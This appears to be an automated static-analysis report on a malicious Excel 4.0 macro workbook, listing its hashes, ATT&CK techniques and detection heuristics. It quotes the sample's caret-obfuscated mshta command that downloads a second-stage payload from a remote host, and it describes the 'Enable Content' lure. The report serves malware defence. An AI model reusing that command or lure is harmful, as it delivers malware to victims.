Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 58614ec1879c013a…

MALICIOUS

Office (OLE) / .XLS

65.5 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: c11bca8c40705c3c70e876138d8a991f SHA-1: 69d0e0bdc173e1ddacb151e96fe97204153cc1a3 SHA-256: 58614ec1879c013a668d587c99da41369df198040015306d664dc35991e00c6f
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro sheet (XLM) that contains an Auto_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, acting as a lure. The extracted XLM macro defines a string 'lll' which contains the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command is designed to download a second-stage payload from the specified URL. The obfuscation in the command string (using '^' as a separator) is a common technique to evade simple detection.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes